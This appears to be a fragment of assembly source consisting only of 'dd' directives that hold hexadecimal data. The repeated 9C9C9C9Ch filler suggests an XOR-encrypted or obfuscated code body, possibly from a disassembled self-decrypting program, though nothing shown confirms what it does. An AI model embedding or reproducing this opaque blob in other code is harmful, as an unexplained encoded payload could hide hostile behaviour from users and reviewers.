dd 98144CADh, 43A5DBA2h, 6C1572EEh, 55C7C2C3h, 7915C95Fh
dd 9C8C9C24h, 8886749Ch, 0CACF9C9Ch, 195EF4CBh, 0B9748C8Dh
dd 0C56363DBh, 1C64A917h, 0A99F8C8Dh, 8C8D1ED8h, 0CA97721Fh
dd 0A92393CCh, 8C8D1DECh, 6C812393h, 9D8C8D1Ch, 98721F42h
dd 94E963CAh, 0C6AC8963h, 5B158C91h, 8D1EF03Dh, 94741F8Ch
dd 9FE964A5h, 0F494E117h, 8C8D1930h, 63DA4774h, 0A963C563h
dd 8C8D1C20h, 2CA917CCh, 1F8C8D1Dh, 0CBCA9B72h, 0C6AC8963h
dd 5B158C91h, 6C9D1911h, 0F4CC6363h, 9C9C9363h, 63CB91F6h
dd 9C6C8489h, 1DE43D8Ch, 999F8C8Dh, 8C8D1E9Ch, 6099201Ch
dd 0BC636373h, 239389E9h, 8D1EDC99h, 99201C8Ch, 63636C9Ch
dd 2D1893BCh, 119C9C9Ch, 636C9D11h, 63541F63h, 9DA01CDCh
dd 9365E99Ch, 1D348123h, 5F1F8C8Dh, 9344A591h, 9C9C131Eh
dd 1D643D9Ch, 999F8C8Dh, 8C8D1C34h, 6E99201Ch, 0F4636373h
dd 0C43D93E9h, 1C8C8D1Dh
dd 6C9D9920h, 0E8E86363h, 193BF4F7h, 0AD748C8Dh, 176363DAh
dd 8D1D78A9h, 8123938Ch, 8C8D1C6Ch, 721F429Dh, 11CCCA98h
dd 636C9D29h, 3874CA63h, 1F636326h, 81178C58h, 8C8D1C48h
dd 63695F1Dh, 23939C9Ch, 8D1EA089h, 0A54F9D8Ch, 0F4B9E95Fh
dd 8C8D193Dh, 63D97774h, 17CCC563h, 8D1EB0A9h, 0ECA99F8Ch
dd 1F8C8D1Eh, 0F6CA9A72h, 8963CB90h, 8C9C6C84h, 55C7C2C3h
dd 7915C95Fh, 0CBCACFCDh, 1794C117h, 8D1DB8A9h, 95721F8Ch
dd 1ED8A117h, 731F8C8Dh, 17FF779Bh, 2B9390C9h, 2B93E688h
dd 569DE790h, 0C9156E9Dh, 99239360h, 8C8D1DECh, 1D188917h
dd 18118C8Dh, 9C636A8Ch, 60D9A59Ch, 0A91782EAh, 8C8D1D74h
dd 3D9A721Fh, 8C8D1D44h, 9C636899h, 78999F9Ch, 0B58C8D1Dh
dd 8E7760D9h, 6C992393h, 158C8D1Ch, 0ECA99F5Ah, 1F8C8D1Eh
dd 0C9179472h, 8815FA60h, 0C3DDBE7h, 1F8C8D1Dh, 5BA5865Ch
dd 6C150DEEh, 55C7C2C3h, 7915C95Fh, 17CBCACFh, 0A91794C1h
dd 8C8D1DE4h, 779F721Fh, 0CC8963AEh, 268C8DEDh, 8CFED14Fh
dd 6B5D15CDh, 9B665D76h, 0B583655Dh, 0C54C1556h, 1D18A117h
dd 5B1F8C8Dh, 6CA19FCCh, 158C8D1Dh, 14669D5Eh, 0A7DAAF88h
dd 55E090E9h, 1790D917h, 8D1D2889h, 4C899F8Ch, 1F8C8D1Dh
dd 88149876h, 0C344159Fh, 5FC1C7C2h, 247915C9h, 9C9A8238h
dd 9C8D3774h, 0CBCACF9Ch, 1F90C117h, 606D2C39h, 23939C63h
dd 8D1D0899h, 9B741F8Ch, 992393CCh, 8C8D1E88h, 1C64999Fh
dd 741F8C8Dh, 9FF6CC9Bh, 70992393h, 938C8D1Dh, 1E908923h
dd 4C9D8C8Dh, 0CC9F741Fh, 0B0992393h, 1F8C8D1Dh, 0F4CC9974h
dd 1C9C9C9Ch, 6394E963h, 8DF08489h, 2419158Ch, 1F63606Dh
dd 606C3439h, 5C3D9C63h, 1F8C8D1Ch, 19A5625Ch, 63606D24h
dd 9A941893h, 0F03D9C9Ch, 1F8C8D1Dh, 11CC9574h, 606D2819h
dd 2393CC63h, 8D1DBC99h, 6889178Ch, 118C8D1Dh, 0CCE08CD8h
dd 6D5D1911h, 63CC6360h, 606D2429h, 0A8896363h, 158C9C6Ch
dd 606D2019h, 1DE43D63h, 999F8C8Dh, 8C8D1EB0h, 2399201Ch
dd 0DA63606Dh, 0F03DFBE9h, 1C8C8D1Dh, 6D259920h, 0E9D56360h
dd 992393C4h, 8C8D1EC8h, 8892393h, 9D8C8D1Ch, 99201C4Ch
dd 63606D2Ah, 3DA2E9DBh, 8C8D1DC8h, 70892393h, 9D8C8D1Ch
dd 99201C4Ch, 63606D21h, 93BAE9A4h, 1EFC9923h, 201C8C8Dh
dd 606D2099h, 89E9A563h, 8D1D183Dh, 0A4999F8Ch, 1C8C8D1Eh
dd 6D299920h, 0E8FD6360h, 99B27599h, 283D9C9Ch, 1F8C8D1Ch
dd 19A79874h, 63606D20h, 99861893h, 0C83D9C9Ch, 1F8C8D1Dh
dd 2393EF5Ch, 8D1EC889h, 1C4C9D8Ch, 6D5D9920h, 0E9A16360h
dd 992393A1h, 8C8D1D30h, 1C7C8917h, 0D8118C8Dh, 2A93BF8Ch
dd 6D5D9918h, 23936360h, 8D1EB489h, 2091178Ch, 118C8D1Ch
dd 0A5A996C8h, 3D93E94Ch, 8C8D1C0Ch, 0DD99201Ch, 0A163606Eh
dd 217599E8h, 3D9C9C98h, 8C8D1ED0h, 0A599741Fh, 74CAE944h
dd 63631356h, 9145E15h, 63657FFEh, 78992393h, 938C8D1Ch
dd 1EF48923h, 18118C8Dh, 9C9C1C8Ch, 99201C9Ch, 63606D5Dh
dd 5B90E9DCh, 606D2C19h, 9C9C9D63h, 1682779Ch, 606ED819h
dd 0FF191463h, 1663657Fh, 657FFE19h, 0FF19A663h, 9363657Fh
dd 9C98C718h, 1C603D9Ch, 741F8C8Dh, 1911CC9Eh, 63606D28h
dd 91DCF4CCh, 19119C9Fh, 63657FF4h, 242963CCh, 6363606Dh
dd 9C6CA889h, 2019158Ch, 3D63606Dh, 8C8D1C20h, 98892393h
dd 9D8C8D1Dh, 99741F4Ch, 6D2019A5h, 18936360h, 9C9C988Ch
dd 6D281917h, 89176360h, 8C8D1D48h, 1D0C899Fh, 761F8C8Dh
dd 99081493h, 63657FF4h, 9F91DCF4h, 5C19119Ch, 0CC63606Eh
dd 7FF41911h, 74CC6365h, 636321D5h, 1590581Fh, 0FCA1175Ah
dd 1F8C8D1Dh, 0D1779973h, 8D1C403Dh, 9B741F8Ch, 8FE85FA5h
dd 0A1182A93h, 63606E5Ch, 181464B5h, 606E5CA1h, 93B17763h
dd 5CA1182Ah, 1563606Eh, 657EC019h, 6B641563h, 0C419157Bh
dd 1763657Eh, 657EC019h, 0C4091763h, 0B563657Eh, 0A118144Ch
dd 63606E5Ch, 0EE6BA5DBh, 1EAC3D33h, 23938C8Dh, 8D1C6C89h
dd 1F4C9D8Ch, 5FA59474h, 0A43DBDE8h, 1F8C8D1Dh, 6E159E74h
dd 0E43D5EB5h, 9F8C8D1Dh, 8D1EF899h, 9A741F8Ch, 5C891814h
dd 9363606Eh, 1D209923h, 89178C8Dh, 8C8D1D4Ch, 0E78CD811h
dd 0A8892393h, 9F8C8D1Eh, 8D1D6489h, 97761F8Ch, 5D990814h
dd 0F463606Dh, 9C9C9C63h, 7EFF1911h, 11CC6365h, 606D7019h
dd 0EE74CC63h, 11636320h, 657EFF19h, 11CACC63h, 606E5C19h
dd 0D074CC63h, 1F9C9C9Ah, 19158458h, 63606D20h, 8D1EC03Dh
dd 60999F8Ch, 1F8C8D1Dh, 19A79974h, 63606D20h, 9E521993h
dd 195B9C9Ch, 63606C34h, 9C9C9C9Dh, 8D1EF83Dh, 9F741F8Ch
dd 18935FA5h, 9C9C9DABh, 0F4992393h, 1C8C8D1Dh, 6E209920h
dd 93F86360h, 9C9C1F19h, 192A939Ch, 63606E5Dh, 1D648917h
dd 5E1F8C8Dh, 144CB585h, 657EFE19h, 192A9363h, 63657EFEh
dd 992393CCh, 8C8D1C50h, 0CC99741Fh, 63C9D974h, 1C0C3D63h
dd 999F8C8Dh, 8C8D1D78h, 3F9A741Fh, 8C8D1E24h, 0BC992393h
dd 0D48C8D1Eh, 9DB94C3Fh, 1ED43D8Ch, 89178C8Dh, 8C8D1EB0h
dd 1D88899Fh, 761F8C8Dh, 9908149Fh, 63606E22h, 8D1D743Dh
dd 9A741F8Ch, 5C1911CCh, 0CC63606Eh, 634EF774h, 8C581F63h
dd 8992393h, 1C8C8D1Ch, 6E219920h, 93FB6360h, 9C9E9B19h
dd 9923939Ch, 8C8D1DBCh, 70892393h, 938C8D1Dh, 1EA09123h
dd 569D8C8Dh, 149A761Fh, 6E5B9908h, 19116360h, 63606E5Dh
dd 808963CCh, 158C9D9Ch, 657EC019h, 0ECF4CC63h, 748C8DC6h
dd 63634F8Ch, 0C8992393h, 1F8C8D1Eh, 4C3F9474h, 3D8C9DB9h
dd 8C8D1DF8h, 30892393h, 9D8C8D1Ch, 9B741F4Ch, 8D1E243Fh
dd 1D883D8Ch, 23938C8Dh, 8D1C3C89h, 1F4C9D8Ch, 11CC9474h
dd 606E5C19h, 4D74CC63h, 1F63634Dh, 0E1758858h, 3D9C9C9Dh
dd 8C8D1DA8h, 0A794741Fh, 606D2C19h, 1C189363h, 639C9C9Ch
dd 8DC7EC89h, 0C019158Ch, 1163657Eh, 606C3019h, 2393CC63h
dd 8D1EBC99h, 93CCD48Ch, 1D209923h, 999F8C8Dh, 8C8D1D3Ch
dd 0CC99741Fh, 239380F6h, 8D1C2C99h, 63CCD48Ch, 99B69C89h
dd 190EF48Ch, 1D748C8Dh, 636363A3h, 657EC029h, 89239363h
dd 8C8D1D34h, 0CE955E1Fh, 0C10911CCh, 0CE63657Dh, 0C6B48963h
dd 19118C91h, 63657DC1h, 301911CCh, 0CC63606Ch, 6CB08963h
dd 581F8C9Ch, 3DAC7780h, 8C8D1D88h, 0CC995C1Fh, 6C301911h
dd 74CC6360h, 63636561h, 8D1916F4h, 0A3B6748Ch, 11CC6363h
dd 606C3009h, 8963CE63h, 8C9C6CB0h, 9388581Fh, 1DB09923h
dd 741F8C8Dh, 1CF4CC99h, 0F69C9C9Ch, 1DA03D9Eh, 741F8C8Dh
dd 2393CC95h, 8D1C2C99h, 8923938Ch, 8C8D1C3Ch, 741F4C9Dh
dd 9CF4CC94h, 11DC9C9Ch, 606C3019h, 8963CC63h, 8C8DF084h
dd 7FF81915h, 23936365h, 8D1D7099h, 999F8Ch, 1F8C8D1Ch
dd 11CC9674h, 606D2819h, 11CACC63h, 606E5C19h, 2963CC63h
dd 63657FF8h, 0EC808963h, 29638C8Dh, 63657FF8h, 0D6D48963h
dd 43D8C95h, 9F8C8D1Dh, 8D1D9499h, 99741F8Ch, 6D2C19A5h
dd 83E96360h, 191199F6h, 63606C30h, 88963CCh, 938C9DBCh
dd 7FFF192Ah, 74CC6365h, 6363ED9Ah, 749977C5h, 636320D8h
dd 6D242963h, 89636360h, 8C95D6D4h, 6C34211Fh, 0E89C6360h
dd 94E96395h, 6C908963h
dd 0C2C38C9Ch, 745F55C7h, 6363DD34h, 8D191CF4h, 0A2B2748Ch
dd 74CC6363h, 63631ADFh, 91C6B83Fh, 19E9F48Ch, 85748C8Dh
dd 0CC6363A2h, 631AB274h, 8C581F63h, 91C6B43Fh, 15C95F8Ch
dd 0F4701D79h, 0CF9C9C9Eh, 47ADCBCAh, 639CF6DFh, 91C6B889h
dd 19F1F48Ch, 75748C8Dh, 636363A1h, 11CC94E9h, 63612221h
dd 8963CB63h, 8C91C6B4h, 1188581Fh, 63625E19h, 1911CC63h
dd 63636122h, 0B48963CCh, 158C95AFh, 63612419h, 78911763h
dd 1F8C8D1Dh, 54A5665Dh, 9D111993h, 243D9C9Ch, 998C8D1Dh
dd 9C9F91A4h, 1C7C999Fh, 0D9A58C8Dh, 3D91EBB0h, 8C8D1DA4h
dd 0A59F741Fh, 99EAB4D9h, 9C9ED875h, 1D0C3D9Ch, 68998C8Dh
dd 939C9C9Fh, 1D308923h, 4C9D8C8Dh, 0EFB0D9A5h, 99239389h
dd 8C8D1EBCh, 9C9C3F99h, 0B0D9A59Ch, 9E8B1993h, 0D9119C9Ch
dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h, 23936363h
dd 8D1DC099h, 44999F8Ch, 1F8C8D1Dh, 19A59674h, 6363613Ch
dd 211191E1h, 63636104h, 39BCE911h, 11977739h, 63610421h
dd 8CE91163h, 19113939h, 63636134h, 41911CCh, 0CC636361h
dd 0C7E48963h, 2B938C8Dh, 63612E19h, 92B9363h, 63636134h
dd 1C209117h, 5D1D8C8Dh, 9C9B7466h, 1D38919Fh, 33938C8Dh
dd 934C9D4Dh, 612C092Bh, 91176363h, 8C8D1EB0h, 93A75D1Fh
dd 4C9D4D33h, 32092B93h, 17636361h, 8D1D6891h, 45D1D8Ch
dd 9F9C9C99h, 8D1E9891h, 4D33938Ch, 2B934C9Dh, 63613609h
dd 0A4911763h, 1D8C8D1Dh, 9C34205Dh, 0E8919F9Ch, 938C8D1Dh
dd 4C9D4D33h, 61381915h, 0AC3D6363h, 178C9C6Ch, 63613809h
dd 0B55D1563h, 0A923934Dh, 8C8D1E88h, 0A58D5A1Fh, 0BE1F936Dh
dd 0A59C9C9Dh, 861B935Eh, 3D9C9C9Dh, 8C8D1DCCh, 9C9C0799h
dd 8923939Ch, 8C8D1D14h, 0D9A74C9Dh, 0F68EE8B0h, 94E9639Ch
dd 636BFB74h, 94581F63h, 9C9C6C75h, 639DF69Ch, 0C97494E9h
dd 1F63636Bh, 42759458h, 3D9C9C9Ch, 8C8D1C60h, 78892393h
dd 9D8C8D1Ch, 99201C4Ch, 63636270h, 221893B2h, 0F49C9C9Ch
dd 8C8D19F8h, 63A76B74h, 72211163h, 0CB636362h, 0CC94E963h
dd 61222111h, 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h
dd 9C9DDC70h, 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h
dd 2F74CB63h, 1D636361h, 9C9DC458h, 11EE779Ch, 63625E19h
dd 2963CC63h, 63636124h, 93548963h, 5F158C9Dh, 0C1E84795h
dd 8D1D743Dh, 99201C8Ch, 6363627Bh, 0F4D6E8B2h, 8C8D19C7h
dd 63A71F74h, 72211163h, 0CB636362h, 0CC94E963h, 61222111h
dd 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h, 9C9DDC70h
dd 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h, 0A374CB63h
dd 1D636361h, 9C9DC458h, 0E947959Ch, 0C7C2C316h, 15C95F55h
dd 1D5C3D79h, 999F8C8Dh, 8C8D1D90h, 0A595741Fh, 9DB92499h
dd 0F497EA8Ch, 8C9DB924h, 6C888963h, 243D8C9Ch, 0C18C9DB9h
dd 249C985Eh, 1C9CDC9Dh, 0C99C945Eh, 701F7915h, 0CBCACFC0h
dd 1794E917h, 5C1F90D9h, 1F9FE1DCh, 645DA35Ch, 60D9159Ah
dd 9CF498F6h, 159C9C8Ch, 9A7B5D5Bh, 639CF6CBh, 99AF8089h
dd 74D9158Ch, 1C0C9117h, 5D1F8C8Dh, 9F5415AAh, 8D1DB899h
dd 60F96B8Ch, 0CC38D915h, 6374E963h, 9C6CA489h, 90E9638Ch
dd 74E963CAh, 0D5888963h, 0D9118C95h, 0F774CC70h, 1F636341h
dd 0E9178C58h, 1DD03D74h, 5F158C8Dh, 1D44819Fh, 771F8C8Dh
dd 0CABE7791h, 0CC70D911h, 63A2B474h, 94581F63h, 34992393h
dd 178C8D1Dh, 8D1C2889h, 8CD8118Ch, 9AA811A0h, 60C1A7DFh
dd 0D91145EEh, 0E963CC34h, 0AFC4748Ch, 9CF46363h, 939C9C1Ch
dd 1D309923h, 741F8C8Dh, 0E963CC9Ah, 8C896374h, 3D8C95D5h
dd 8C8D1C00h, 9F985C1Fh, 8D1DE099h, 0D911CC8Ch, 0D911CC70h
dd 8963CC34h, 8C91C6DCh, 9388581Fh, 1D80A123h, 23938C8Dh
dd 8D1D8C81h, 0D3439D8Ch, 99E85BA5h, 77DC5CADh, 0C35CAD9Eh
dd 5F55C7C2h, 747915C9h, 63630CFAh, 8D1E943Dh, 4066998Ch
dd 23939CF1h, 8D1EA889h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h
dd 985EC142h, 7915C99Ch, 0CBCACFCDh, 1590C117h, 98735D43h
dd 91176415h, 8C8D1D18h, 939B5D1Fh, 1EDC8923h, 4D9D8C8Dh
dd 0D9157D6Bh, 0B5421560h, 0E081175Ah, 1F8C8D1Dh, 6D159877h
dd 7A4F4215h, 9394C117h, 15E7802Bh, 0A56BBD43h, 1795E96Bh
dd 8D1D94A1h, 8F77D38Ch, 8D1D883Dh, 8923938Ch, 8C8D1D1Ch
dd 4B9D5B15h, 1598731Fh, 0C7C2C364h, 15C95F55h, 84701D79h
dd 0CF9C9C9Fh, 0E917CBCAh, 90C11794h, 1D48A117h, 731F8C8Dh
dd 9E8E7595h, 82F49C9Ch, 748C8D19h, 6363A5A8h, 911CCCBh
dd 63636061h, 0B48963CEh, 938C91C6h, 1C309923h, 65998C8Dh
dd 159C9C9Ch, 63616019h, 1990F463h, 95748C8Dh, 116363A5h
dd 63607009h, 911CE63h, 63636160h, 9D0911CEh, 0CE636363h
dd 610911CCh, 0CE636360h, 9C9C9DF4h, 1253741Ch, 581F6363h
dd 6C1915B0h, 19636360h, 3818935Ch, 119C9C9Dh, 63629E19h
dd 1911CC63h, 6363639Fh, 78C974CCh, 4C3D6363h, 9F8C8D1Ch
dd 8D1D6899h, 94741F8Ch, 9E1911CCh, 0CC636362h, 31A974CFh
dd 581F6363h, 40891788h, 1D8C8D1Ch, 9C63695Eh, 9123939Ch
dd 8C8D1C08h, 5EA5569Dh, 9DC91893h, 32F49C9Ch, 748C8D18h
dd 6363A4E4h, 911CCC5h, 6363639Dh, 99EE74CEh, 0F83D9C9Ch
dd 1F8C8D1Eh, 19159F74h, 63636064h, 1917B077h, 63636064h
dd 9D99201Ch, 0BF636363h, 19178AE9h, 63636064h, 1C408917h
dd 761F8C8Dh, 9908149Bh, 6363639Dh, 60641963h, 211D6363h
dd 63636064h, 9C9C9C63h, 903D54EEh, 1F8C8D1Dh, 19159574h
dd 63636068h, 8D1D743Dh, 9C65998Ch, 19159C9Ch, 63636160h
dd 60701911h, 11CC6363h, 63616019h, 1911CC63h, 6363629Eh
dd 681917CCh, 11636360h, 639D9918h, 11CC6363h, 63606119h
dd 9DF4CC63h, 741C9C9Ch, 63631121h, 1584581Fh, 63606C19h
dd 0E95C1963h, 1D783D84h, 999F8C8Dh, 8C8D1DA0h, 1D608917h
dd 8148C8Dh, 63616899h, 68191763h, 15636360h, 63607419h
dd 99101163h, 6363639Dh, 0DC63541Fh, 9C9DA01Ch, 111765E9h
dd 63636074h, 11155D9Dh, 63636068h, 629E1911h, 0CACC6363h
dd 6CB08963h, 581F8C9Ch, 1835F494h, 0F9748C8Dh, 1F6363ABh
dd 0CACC9858h, 6CB08963h, 581F8C9Ch, 68196394h, 3D636360h
dd 8C8D1C48h, 1EF8999Fh, 741F8C8Dh, 68091796h, 93636360h
dd 9D89082Ah, 0A5636363h, 8519934Ch, 0DB636363h, 8D1E843Dh
dd 815C1F8Ch, 1E935BA5h, 63636142h, 55C7C2C3h, 7915C95Fh
dd 9EC0701Dh, 0CACF9C9Ch, 94C117CBh, 9C8CE11Fh, 0D83D8FE8h
dd 1F8C8D1Eh, 19159B74h, 63636124h, 9C9C1975h, 90C9179Ch
dd 1C589117h, 919F8C8Dh, 8C8D1D94h, 0A597751Fh, 0B97C0990h
dd 88E98C9Dh, 208963CAh, 3D8C9DB9h, 8C8D1D3Ch, 8963CCDCh
dd 8C8DC6FCh, 58992393h, 1F8C8D1Dh, 1915C15Ch, 63636124h
dd 8D183DF4h, 0AA3A748Ch, 0E9636363h, 911CC90h, 63636136h
dd 0B48963CEh, 1F8C91C6h, 19118C58h, 63636136h, 0F88963CCh
dd 1F8C8DC6h, 8AE99F64h, 8D1DA43Dh, 9DB4998Ch, 999F9C9Ch
dd 8C8D1D28h, 61241915h, 63AD6363h, 1806F4DBh, 0C1748C8Dh
dd 0CF6363AAh, 220911CCh, 0CE636361h, 0C6B48963h, 581F8C91h
dd 1F45158Ch, 1CDC6354h
dd 0E99C9DA0h, 28191565h, 17636361h, 8D1E8089h, 18899F8Ch
dd 1F8C8D1Dh, 4CB59F76h, 0B29FA01Ch, 9C351993h, 19179C9Ch
dd 63636128h, 9398741Fh, 0CC9F9822h, 6CA08963h, 581F8C9Ch
dd 145E1598h, 63613509h, 28191763h, 1F636361h, 22939E74h
dd 63CC9F98h, 9C6CA089h, 98581F8Ch, 9145E15h, 63636134h
dd 61281917h, 741F6363h, 9822939Fh, 8963CC9Fh, 8C9C6CA0h
dd 1598581Fh, 3B09145Eh, 1C636361h, 63613521h, 0BDE9D963h
dd 6134211Ch, 0E9D96363h, 3B211C84h, 0C4636361h, 296393E9h
dd 63636124h, 0D29074CFh, 581F6363h, 34211C94h, 0D7636361h
dd 211C85E9h, 6363613Bh, 1C8CE9D2h, 63613521h, 9BE9D063h
dd 0DEB474CFh, 11C56363h, 63625E19h, 1911CC63h, 63636122h
dd 0B48963CCh, 158C95AFh, 1DB83D5Ah, 5C1F8C8Dh, 0CC999F6Eh
dd 0A58C8D1Dh, 7D18936Ch, 3D9C9C9Ch, 8C8D1DC8h, 1DE8999Fh
dd 201C8C8Dh, 63627A99h, 1893B263h, 9C9C9C5Ch, 8D180DF4h
dd 0A9BA748Ch, 9116363h, 63636272h, 11CCCFCEh, 63612209h
dd 8963CE63h, 8C91C6B4h, 638CE963h, 191190E9h, 63636122h
dd 617B74CCh, 581F6363h, 9C1A75BCh, 19119C9Ch, 6363625Eh
dd 8963CACCh, 8C9D9354h, 23935B15h, 8D1EF499h, 64999F8Ch
dd 1F8C8D1Dh, 5BA59674h, 0B03D80E9h, 9F8C91C6h, 63612419h
dd 8963CC63h, 8C91C6B8h, 8963CAC5h, 8C9DB920h, 2393D277h
dd 8D1EC899h, 99201C8Ch, 6363627Ah, 0F4A9E8B2h, 8C8D1814h
dd 63A80774h, 72091163h, 0CE636362h, 911CCCFh, 63636122h
dd 0B48963CEh, 638C91C6h, 0E9638CE9h, 22191190h, 0CC636361h
dd 6361C074h, 0BC581F63h, 19936395h, 636363EEh, 55C7C2C3h
dd 7915C95Fh, 0CBCACFCDh, 3D94C117h, 8C8D1C00h, 0DC892393h
dd 158C8D1Eh, 1F4A9D5Ah, 23939472h, 8D1C7899h, 8923938Ch
dd 8C8D1EA8h, 4B9D5B15h, 7798731Fh, 882B93F9h, 90D117E7h
dd 0E5902B93h, 6EB556B5h, 9360C915h, 1C509923h, 23938C8Dh
dd 8D1DC089h, 1F4C9D8Ch, 0D9A59474h, 3DBFE160h, 8C8D1ECCh
dd 0A99F5A15h, 8C8D1C54h, 1D0C3DD2h, 6E998C8Dh, 9F9C9C63h
dd 8D1C2499h, 60D99D8Ch, 783D8C77h, 158C8D1Dh, 0ACA99F5Ah
dd 1F8C8D1Dh, 0C9179472h, 8815FA60h, 43DDBE7h, 1F8C8D1Ch
dd 5BA5825Ch, 0C2C313EEh, 245F55C7h, 1C9CDC9Dh, 0C9C945Eh
dd 9C701DC5h, 0B19C9C8Ch, 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch
dd 58B577EFh, 0CDB89819h, 1FC4C55Fh, 745D9F5Ch, 9E7C5D9Eh
dd 9C8C9CA1h, 1582E09Ch, 9847CC7Eh, 0B89015B8h, 74B89847h
dd 6363635Ch, 47CE4815h, 9017B880h, 0B88047B8h, 1558B5C4h
dd 9C9C5B7Ch, 0CD9C9C9Ch, 9C9C5FCDh, 5EDC5CADh, 9C9C9C90h
dd 0B8A045CCh, 93B89817h, 94B8A826h, 0B8901DFAh, 0B0459E9Ch
dd 7C14C5B8h, 5F9F7C1Fh, 0B8A045CCh, 0CC6F77C4h, 17B8A045h
dd 1DFAB898h, 9F9CB890h, 9C9C7C77h, 9C701DC5h, 0B19C9C8Ch
dd 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch, 58B577EFh, 63B89819h
dd 9C9C9C7Dh, 94B8C817h, 63255CADh, 1B636363h, 6B326E66h
dd 63D51145h, 94B8D817h, 0B8E0170Ah, 0A386F98h, 0D8174B1Bh
dd 945E98B8h, 9C9C9C9Ch, 3C30B963h, 0C0C8C8Dh, 9C9C9C9Ch
dd 3C2CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C28B963h, 0C0C8C8Dh
dd 9C9C9C9Ch, 3C5CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C58B963h
dd 0C0C8C8Dh, 9C9C9C9Ch, 3C54B963h, 0C0C8C8Dh, 9C9C9C9Ch
dd 3C50B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C4CB963h, 0C0C8C8Dh
dd 9C9C9C9Ch, 3C48B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C44B963h
dd 0C0C8C8Dh, 9C9C9C9Ch, 3C40B963h, 0C0C8C8Dh, 6Eh dup(9C9C9C9Ch)
dd 8C9C75DCh, 5 dup(9C9C9C9Ch), 9C9CEFB9h, 9CEE9CEBh, 1Ch dup(9C9C9C9Ch)
dd 9C9C9C9Dh, 9C9C9C9Fh, 9C9C9C9Eh, 2 dup(9C9C9C9Bh), 9C9C9C95h
dd 9C9C9C94h, 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C98h, 9C9C9C94h
dd 9C9C9C9Ch, 9C9C9C9Dh, 9C9C9C95h, 9C9C9C9Ch, 9C9C9C99h
dd 9C9C9C98h, 9C9C9C9Bh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C9Dh
dd 9C9C9C9Ch, 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Fh, 9C9C9C9Eh
dd 9C9C9C98h, 9C9C9C9Eh, 9C9C9C9Ch, 9C9C9C99h, 9C9C9C9Eh
dd 9C9C9C95h, 9C9C9C9Dh, 9C9C9C9Eh, 9C9C9C95h, 9C9C9C9Ch
dd 9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Fh
dd 9C9C9C94h, 9C9C9C9Fh, 9C9C9C95h, 9C9C9C99h, 9C9C9C9Dh
dd 9C9C9C9Bh, 9C9C9C9Ah, 9C9C9C98h, 9C9C9C9Bh, 9C9C9C9Dh
dd 9C9C9C9Fh, 9C9C9C99h, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C95h
dd 2 dup(9C9C9C9Dh), 9C9C9C9Fh, 9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h
dd 9C9C9C99h, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Bh, 9C9C9C9Fh
dd 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Ch, 9C9C9C9Ah
dd 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Ch
dd 2 dup(9C9C9C9Bh), 9C9C9C9Ah, 9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh
dd 2 dup(9C9C9C95h), 9C9C9C99h, 9C9C9C9Bh, 9C9C9C9Fh, 9C9C9C95h
dd 9C9C9C99h, 9C9C9C9Bh, 9C9C9C9Ch, 2 dup(9C9C9C9Fh), 9C9C9C9Eh
dd 9C9C9C9Ch, 2 dup(9C9C9C9Fh), 9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C9Dh
dd 9C9C9C9Eh, 9C9C9C9Ah, 9C9C9C9Dh, 9C9C9C99h, 9C9C9C98h
dd 9C9C9C95h, 9C9C9C9Fh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C98h
dd 9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h, 9C9C9C9Dh, 9C9C9C99h
dd 9C9C9C95h, 2 dup(9C9C9C9Fh), 9C9C9C94h, 9C9C9C99h, 9C9C9C9Dh
dd 12h dup(9C9C9C9Ch), 8C9C161Dh, 8C9C8371h, 8C9C037Ah
dd 8C9CFEF9h, 8C9C5A0Eh, 8C9CC815h, 8C9C0170h, 9C9C9C9Ch
dd 8C9CBB48h, 8C9C4852h, 8C9C89E6h, 8C9C7447h, 8C9CC52Bh
dd 8C9CEF9Ah, 8C9C5B51h, 8C8D1E7Ch, 9C9C9C9Ch, 8C9CC5D0h
dd 8C9CD387h, 8C9C7DC6h, 8C9C7D1Bh, 8C9C8434h, 8C9CC010h
dd 8C9CF68Fh, 8C8D1F98h, 4BF638E4h, 745B2BCAh, 0B8BCEC47h
dd 5D215272h, 69E09333h, 0DB1B5AB6h, 34ACDA8Fh, 61DA099Dh
dd 0F51C0444h, 17D86B33h, 6363C72Dh, 15C04B22h, 0F70C8DBEh
dd 6104ED0Fh, 3AE5DF12h, 0D52894BDh, 6A82B9FEh, 5CDC2FDCh
dd 0BAC2C6CDh, 752A5B36h, 4AB38CC1h, 9ED888CFh, 443D7A1Dh
dd 7B4F6754h, 0BD7D517Ah, 5FAB9B4Ah, 6849911Bh, 0D9C68871h
dd 357F7599h, 60733F64h, 0FBF39E45h, 11B6D016h, 6366A5DEh
dd 1BED6A1Dh, 0F101FDBEh, 6179A490h, 382276D8h, 0D7425335h
dd 6A27D7FCh, 222320ECh, 0B407E25Ah, 763DBB66h, 4873AC19h
dd 98148199h, 45484CA5h, 7A470579h, 833EE064h, 5830CAF9h
dd 68B5BED8h, 0DFB6630Bh, 3708BF3Bh, 600F3CA5h, 0F9C7C55Fh
dd 1390500Eh, 637368E1h, 1918C14Dh, 0F334E2D3h, 62B07A7Ch
dd 3F9DDF88h, 0D2948D3Dh, 6BCFE21Eh, 21A66EA9h, 0B64B4E27h
